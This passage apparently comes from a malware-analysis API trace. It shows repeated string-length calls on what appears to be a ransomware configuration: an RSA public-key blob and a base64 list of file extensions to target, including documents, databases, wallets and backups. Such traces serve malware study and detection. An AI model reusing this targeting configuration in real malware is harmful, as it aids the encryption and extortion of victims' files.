C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs